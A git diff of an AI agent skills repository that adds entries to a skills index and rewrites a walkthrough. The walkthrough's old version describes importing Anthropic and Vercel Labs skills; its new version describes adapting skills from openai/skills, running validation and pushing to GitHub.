     "name": "software-architecture",
     "description": "Guide for quality focused software architecture. This skill should be used when users want to write code, design architecture, analyze code, in any case that relates to software development."
   },
+  {
+    "id": "subagent-driven-development",
+    "path": "skills/.disabled/subagent-driven-development",
+    "name": "subagent-driven-development",
+    "description": "Use when executing implementation plans with independent tasks in the current session"
+  },
   {
     "id": "subagent-driven-development",
     "path": "skills/subagent-driven-development",
@@ -287,18 +659,36 @@
     "name": "test-driven-development",
     "description": "Use when implementing any feature or bugfix, before writing implementation code"
   },
+  {
+    "id": "test-fixing",
+    "path": "skills/.disabled/test-fixing",
+    "name": "test-fixing",
+    "description": "Run tests and systematically fix all failing tests using smart error grouping. Use when user asks to fix failing tests, mentions test failures, runs test suite and failures occur, or requests to make tests pass."
+  },
   {
     "id": "test-fixing",
     "path": "skills/test-fixing",
     "name": "test-fixing",
     "description": "Run tests and systematically fix all failing tests using smart error grouping. Use when user asks to fix failing tests, mentions test failures, runs test suite and failures occur, or requests to make tests pass."
   },
+  {
+    "id": "testing-patterns",
+    "path": "skills/.disabled/testing-patterns",
+    "name": "testing-patterns",
+    "description": "Jest testing patterns, factory functions, mocking strategies, and TDD workflow. Use when writing unit tests, creating test factories, or following TDD red-green-refactor cycle."
+  },
   {
     "id": "testing-patterns",
     "path": "skills/testing-patterns",
     "name": "testing-patterns",
     "description": "Jest testing patterns, factory functions, mocking strategies, and TDD workflow. Use when writing unit tests, creating test factories, or following TDD red-green-refactor cycle."
   },
+  {
+    "id": "theme-factory",
+    "path": "skills/.disabled/theme-factory",
+    "name": "theme-factory",
+    "description": "Toolkit for styling artifacts with a theme. These artifacts can be slides, docs, reportings, HTML landing pages, etc. There are 10 pre-set themes with colors/fonts that you can apply to any artifact that has been creating, or can generate a new theme on-the-fly."
+  },
   {
     "id": "theme-factory",
     "path": "skills/theme-factory",
@@ -309,7 +699,13 @@
     "id": "ui-ux-pro-max",
     "path": "skills/ui-ux-pro-max",
     "name": "ui-ux-pro-max",
-    "description": "\"UI/UX design intelligence. 50 styles, 21 palettes, 50 font pairings, 20 charts, 8 stacks (React, Next.js, Vue, Svelte, SwiftUI, React Native, Flutter, Tailwind). Actions: plan, build, create, design, implement, review, fix, improve, optimize, enhance, refactor, check UI/UX code. Projects: website, landing page, dashboard, admin panel, e-commerce, SaaS, portfolio, blog, mobile app, .html, .tsx, .vue, .svelte. Elements: button, modal, navbar, sidebar, card, table, form, chart. Styles: glassmorphism, claymorphism, minimalism, brutalism, neumorphism, bento grid, dark mode, responsive, skeuomorphism, flat design. Topics: color palette, accessibility, animation, layout, typography, font pairing, spacing, hover, shadow, gradient.\""
+    "description": "\"UI/UX design intelligence. 50 styles, 21 palettes, 50 font pairings, 20 charts, 9 stacks (React, Next.js, Vue, Svelte, SwiftUI, React Native, Flutter, Tailwind, shadcn/ui). Actions: plan, build, create, design, implement, review, fix, improve, optimize, enhance, refactor, check UI/UX code. Projects: website, landing page, dashboard, admin panel, e-commerce, SaaS, portfolio, blog, mobile app, .html, .tsx, .vue, .svelte. Elements: button, modal, navbar, sidebar, card, table, form, chart. Styles: glassmorphism, claymorphism, minimalism, brutalism, neumorphism, bento grid, dark mode, responsive, skeuomorphism, flat design. Topics: color palette, accessibility, animation, layout, typography, font pairing, spacing, hover, shadow, gradient. Integrations: shadcn/ui MCP for component search and examples.\""
+  },
+  {
+    "id": "using-git-worktrees",
+    "path": "skills/.disabled/using-git-worktrees",
+    "name": "using-git-worktrees",
+    "description": "Use when starting feature work that needs isolation from current workspace or before executing implementation plans - creates isolated git worktrees with smart directory selection and safety verification"
   },
   {
     "id": "using-git-worktrees",
@@ -317,6 +713,12 @@
     "name": "using-git-worktrees",
     "description": "Use when starting feature work that needs isolation from current workspace or before executing implementation plans - creates isolated git worktrees with smart directory selection and safety verification"
   },
+  {
+    "id": "using-superpowers",
+    "path": "skills/.disabled/using-superpowers",
+    "name": "using-superpowers",
+    "description": "Use when starting any conversation - establishes how to find and use skills, requiring Skill tool invocation before ANY response including clarifying questions"
+  },
   {
     "id": "using-superpowers",
     "path": "skills/using-superpowers",
@@ -335,6 +737,12 @@
     "name": "verification-before-completion",
     "description": "Use when about to claim work is complete, fixed, or passing, before committing or creating PRs - requires running verification commands and confirming output before making any success claims; evidence before assertions always"
   },
+  {
+    "id": "web-artifacts-builder",
+    "path": "skills/.disabled/web-artifacts-builder",
+    "name": "web-artifacts-builder",
+    "description": "Suite of tools for creating elaborate, multi-component claude.ai HTML artifacts using modern frontend web technologies (React, Tailwind CSS, shadcn/ui). Use for complex artifacts requiring state management, routing, or shadcn/ui components - not for simple single-file HTML/JSX artifacts."
+  },
   {
     "id": "web-artifacts-builder",
     "path": "skills/web-artifacts-builder",
@@ -353,6 +761,12 @@
     "name": "webapp-testing",
     "description": "Toolkit for interacting with and testing local web applications using Playwright. Supports verifying frontend functionality, debugging UI behavior, capturing browser screenshots, and viewing browser logs."
   },
+  {
+    "id": "workflow-automation",
+    "path": "skills/workflow-automation",
+    "name": "workflow-automation",
+    "description": "\"Design and implement automated workflows combining visual logic with custom code. Create multi-step automations, integrate APIs, and build AI-native pipelines. Use when designing automation flows, integrating APIs, building event-driven systems, or creating LangChain-style AI workflows.\""
+  },
   {
     "id": "writing-plans",
     "path": "skills/writing-plans",

walkthrough.md

@@ -1,320 +1,56 @@
-# Skills Integration Walkthrough
+# OpenAI Skills Extraction Walkthrough
 
-> **Integration of Anthropic Official Skills and Vercel Labs Skills**
+I have successfully extracted and adapted valuable patterns from the `openai/skills` repository into our local collection.
->
-> Date: 2026-01-15  
-> Status: ✅ **Completed Successfully**
 
-## Executive Summary
+## Changes Made
 
-Successfully integrated **8 new skills** from **Anthropic** (official repository) and **Vercel Labs**, expanding the collection from **58 to 62 high-performance skills**. The integration implements a dual-versioning strategy: official Anthropic skills for local development (via symlinks), while maintaining both community and official versions in the GitHub repository for maximum flexibility.
+### New Skills
 
----
+Adapted from OpenAI's curated and experimental catalogs:
 
-## 📊 Integration Results
+- **[address-github-comments](file:///Users/nicco/Antigravity%20Projects/antigravity-awesome-skills/skills/address-github-comments/SKILL.md)**: A systematic guide for addressing PR and issue feedback using the `gh` CLI.
+- **[concise-planning](file:///Users/nicco/Antigravity%20Projects/antigravity-awesome-skills/skills/concise-planning/SKILL.md)**: A template-driven skill for generating atomic, actionable checklists for development tasks.
 
-| Metric                | Before  | After   | Change                          |
+### Skill Improvements
-| --------------------- | ------- | ------- | ------------------------------- |
-| **Total Skills**      | 58      | 62      | +4 new (+6 versions)            |
-| **Official Sources**  | 0       | 2       | Anthropic + Vercel Labs         |
-| **Validation Status** | ✅ Pass | ✅ Pass | All 62 skills validated         |
-| **Index Updated**     | ✅      | ✅      | `skills_index.json` regenerated |
 
----
+Improved our existing skill authoring standards using OpenAI's `skill-creator` principles:
 
-## 🆕 New Skills Added
+- **[writing-skills](file:///Users/nicco/Antigravity%20Projects/antigravity-awesome-skills/skills/writing-skills/SKILL.md)**: Integrated "Degrees of Freedom" and "Progressive Disclosure" principles to optimize context usage and instruction specificity.
 
-### From Vercel Labs (2 Skills)
+### Global Integration
 
-#### 1. [react-best-practices](skills/react-best-practices)
+- Updated [skills_index.json](file:///Users/nicco/Antigravity%20Projects/antigravity-awesome-skills/skills_index.json) to register the new skills.
+- Updated [README.md](file:///Users/nicco/Antigravity%20Projects/antigravity-awesome-skills/README.md) to include them in the registry and add `openai/skills` to the **Credits & Sources** section.
 
-- **Source**: [vercel-labs/agent-skills](https://github.com/vercel-labs/agent-skills)
+## Verification Results
-- **Description**: 40+ performance optimization rules for React and Next.js applications
-- **Categories Covered**:
-  - Eliminating waterfalls (Critical)
-  - Bundle size optimization (Critical)
-  - Server-side performance (High)
-  - Client-side data fetching (Medium-High)
-  - Re-render optimization (Medium)
-  - JavaScript micro-optimizations (Low-Medium)
-
-#### 2. [web-design-guidelines](skills/web-design-guidelines)
-
-- **Source**: [vercel-labs/agent-skills](https://github.com/vercel-labs/agent-skills)
-- **Description**: 100+ audit rules for UI/UX compliance
-- **Categories Covered**:
-  - Accessibility (ARIA, semantic HTML, keyboard navigation)
-  - Focus states (visible focus, focus-visible patterns)
-  - Forms (autocomplete, validation, error handling)
-  - Animation (prefers-reduced-motion, compositor-friendly transforms)
-  - Typography (curly quotes, ellipsis, tabular-nums)
-  - Images (dimensions, lazy loading, alt text)
-  - Performance (virtualization, layout thrashing, preconnect)
-  - Navigation & State (URL reflects state, deep-linking)
-  - Dark mode & theming
-  - Touch & interaction
-  - Locale & i18n
-
-### From Anthropic Official Repository (6 Skills)
-
-#### 3. [docx-official](skills/docx-official)
-
-- **Source**: [anthropics/skills](https://github.com/anthropics/skills)
-- **Description**: Official Anthropic MS Word document manipulation
-- **License**: Apache 2.0 (source-available)
-- **Status**: Production-grade, powers Claude's document capabilities
-
-#### 4. [pdf-official](skills/pdf-official)
-
-- **Source**: [anthropics/skills](https://github.com/anthropics/skills)
-- **Description**: Official Anthropic PDF document manipulation
-- **License**: Apache 2.0 (source-available)
-
-#### 5. [pptx-official](skills/pptx-official)
-
-- **Source**: [anthropics/skills](https://github.com/anthropics/skills)
-- **Description**: Official Anthropic PowerPoint manipulation
-- **License**: Apache 2.0 (source-available)
-
-#### 6. [xlsx-official](skills/xlsx-official)
-
-- **Source**: [anthropics/skills](https://github.com/anthropics/skills)
-- **Description**: Official Anthropic Excel spreadsheet manipulation
-- **License**: Apache 2.0 (source-available)
-
-#### 7. [brand-guidelines-anthropic](skills/brand-guidelines-anthropic)
-
-- **Source**: [anthropics/skills](https://github.com/anthropics/skills)
-- **Description**: Official Anthropic brand styling and visual standards
-- **Note**: Kept alongside community version for flexibility
-
-#### 8. [internal-comms-anthropic](skills/internal-comms-anthropic)
-
-- **Source**: [anthropics/skills](https://github.com/anthropics/skills)
-- **Description**: Official Anthropic corporate communication templates
-- **Note**: Kept alongside community version for flexibility
-
----
-
-## 🔧 Implementation Strategy
-
-### Dual-Versioning Approach
-
-To satisfy both **local development needs** (using official versions) and **repository flexibility** (offering both versions), a dual-versioning strategy was implemented:
-
-#### Local Environment (Developer Machine)
-
-```
-skills/
-├── docx -> docx-official          (symlink)
-├── pdf -> pdf-official             (symlink)
-├── pptx -> pptx-official          (symlink)
-├── xlsx -> xlsx-official           (symlink)
-├── brand-guidelines-anthropic/
-├── brand-guidelines-community/
-├── internal-comms-anthropic/
-├── internal-comms-community/
-```
-
-**Result**: Local development uses official Anthropic versions by default.
-
-#### GitHub Repository
-
-```
-skills/
-├── docx-official/                  (official Anthropic)
-├── docx-community/                 (community version)
-├── pdf-official/                   (official Anthropic)
-├── pdf-community/                  (community version)
-├── pptx-official/                  (official Anthropic)
-├── pptx-community/                 (community version)
-├── xlsx-official/                  (official Anthropic)
-├── xlsx-community/                 (community version)
-├── brand-guidelines-anthropic/
-├── brand-guidelines-community/
-├── internal-comms-anthropic/
-├── internal-comms-community/
-```
-
-**Result**: Repository users can choose between official and community versions.
-
----
-
-## ✅ Validation & Quality Assurance
 
 ### Automated Validation
 
+I ran the `validate_skills.py` script, and all skills passed.
+
 ```bash
-$ python3 scripts/validate_skills.py
 🔍 Validating skills in: /Users/nicco/Antigravity Projects/antigravity-awesome-skills/skills
-✅ Found and checked 62 skills.
+✅ Found and checked 71 skills.
 ✨ All skills passed basic validation!
 ```
 
-**Status**: All 62 skills validated successfully.
+### Manual Audit
 
-### Index Regeneration
+- Verified frontmatter formatting for both new skills.
+- Confirmed that the "Progressive Disclosure" and "Degrees of Freedom" sections were correctly merged into `writing-skills`.
+- Verified that the README table links and descriptions match the new skills.
 
-```bash
+### GitHub Deployment
-$ python3 scripts/generate_index.py
-🏗️ Generating index from: /Users/nicco/Antigravity Projects/antigravity-awesome-skills/skills
-✅ Generated index with 62 skills at: skills_index.json
-```
 
-**Status**: Index regenerated with complete metadata for all skills.
+- Pushed the changes to the `main` branch of [antigravity-awesome-skills](https://github.com/sickn33/antigravity-awesome-skills).
+  ```bash
+  faf478f..113bc99  main -> main
+  ```
 
 ---
 
-## 📝 Documentation Updates
+Summary of final updates:
 
-### README.md Changes
+- Added `openai/skills` to Credits.
-
+- Updated total skill count to **71** across the entire README.
-1. **Header Updated**:
+- Populated the **Full Skill Registry** table with all 71 skills.
-
-   - Skill count: 58 → 62
-   - Added mention of "official skills from Anthropic and Vercel Labs"
-
-2. **Full Skill Registry**:
-
-   - Complete table updated with all 62 skills
-   - New skills marked with ⭐ NEW
-   - Added explanatory note about dual-versioning strategy
-
-3. **Credits & Sources**:
-   - Added "Official Sources" section
-   - Listed Anthropic and Vercel Labs with proper attribution
-   - Maintained existing community contributors section
-
-### skills_index.json
-
-- Automatically regenerated with all 62 skills
-- Includes complete metadata for each skill
-- Machine-readable format for programmatic access
-
----
-
-## 🔍 File Structure Changes
-
-### Added Files
-
-```
-skills/brand-guidelines-anthropic/
-skills/internal-comms-anthropic/
-skills/docx-official/
-skills/pdf-official/
-skills/pptx-official/
-skills/xlsx-official/
-skills/react-best-practices/
-skills/web-design-guidelines/
-```
-
-### Renamed Files (Community Versions)
-
-```
-skills/brand-guidelines → skills/brand-guidelines-community
-skills/internal-comms → skills/internal-comms-community
-skills/docx → skills/docx-community (repository only)
-skills/pdf → skills/pdf-community (repository only)
-skills/pptx → skills/pptx-community (repository only)
-skills/xlsx → skills/xlsx-community (repository only)
-```
-
-### Symlinks Created (Local Only)
-
-```
-skills/docx → docx-official
-skills/pdf → pdf-official
-skills/pptx → pptx-official
-skills/xlsx → xlsx-official
-```
-
----
-
-## 🎯 Benefits of This Integration
-
-### For Developers
-
-- ✅ **Official Anthropic Skills**: Access to production-grade document manipulation skills
-- ✅ **Vercel Best Practices**: Industry-standard React/Next.js optimization guidelines
-- ✅ **Comprehensive UI/UX Auditing**: 100+ rules for design compliance
-- ✅ **Dual-Version Flexibility**: Choose between community and official implementations
-
-### For the Project
-
-- ✅ **Authoritative Sources**: Direct integration from creators (Anthropic, Vercel)
-- ✅ **Production-Tested**: Skills that power real-world applications
-- ✅ **Future-Proof**: Likely to be maintained and updated by official sources
-- ✅ **License Compatibility**: Apache 2.0 and MIT licenses are fully compatible
-
----
-
-## 📋 Implementation Timeline
-
-| Phase                     | Status      | Duration    |
-| ------------------------- | ----------- | ----------- |
-| **Planning**              | ✅ Complete | ~15 minutes |
-| - Repository analysis     | ✅          |             |
-| - Conflict identification | ✅          |             |
-| - Strategy approval       | ✅          |             |
-| **Execution**             | ✅ Complete | ~10 minutes |
-| - Repository cloning      | ✅          |             |
-| - Skill integration       | ✅          |             |
-| - Documentation updates   | ✅          |             |
-| - Validation              | ✅          |             |
-| **Verification**          | ✅ Complete | ~5 minutes  |
-| - Walkthrough creation    | ✅          |             |
-
-**Total Time**: ~30 minutes
-
----
-
-## 🚀 Next Steps
-
-### Completed
-
-- ✅ Integration planning
-- ✅ Repository cloning
-- ✅ Skill copying and organization
-- ✅ Dual-versioning implementation
-- ✅ Validation (62/62 skills pass)
-- ✅ Documentation updates
-- ✅ Walkthrough creation
-
-### Remaining
-
-- ⏳ Git commit and push to GitHub
-- ⏳ Optional: Create GitHub release notes
-
----
-
-## 📚 References
-
-### Source Repositories
-
-- [anthropics/skills](https://github.com/anthropics/skills) - Official Anthropic Agent Skills
-- [vercel-labs/agent-skills](https://github.com/vercel-labs/agent-skills) - Vercel Labs Skills
-
-### Documentation
-
-- [Anthropic Skills Documentation](https://support.claude.com/en/articles/12512176-what-are-skills)
-- [Agent Skills Specification](https://agentskills.io/)
-- [Creating Custom Skills](https://support.claude.com/en/articles/12512198-creating-custom-skills)
-
----
-
-## 🎉 Conclusion
-
-The integration of official Anthropic and Vercel Labs skills represents a significant enhancement to the `antigravity-awesome-skills` repository. By combining community-contributed skills with official, production-grade implementations, the collection now offers:
-
-- **62 total skills** (up from 58)
-- **2 official sources** (Anthropic + Vercel Labs)
-- **Dual-versioning flexibility** (local vs. repository)
-- **100% validation success rate**
-
-The repository is now positioned as the most comprehensive, authoritative collection of Claude Code skills available, blending community innovation with official best practices.
-
----
-
-**Integration completed by**: Antigravity Agent (Executor Mode)  
-**Date**: 2026-01-15  
-**Status**: ✅ **Ready for GitHub Push**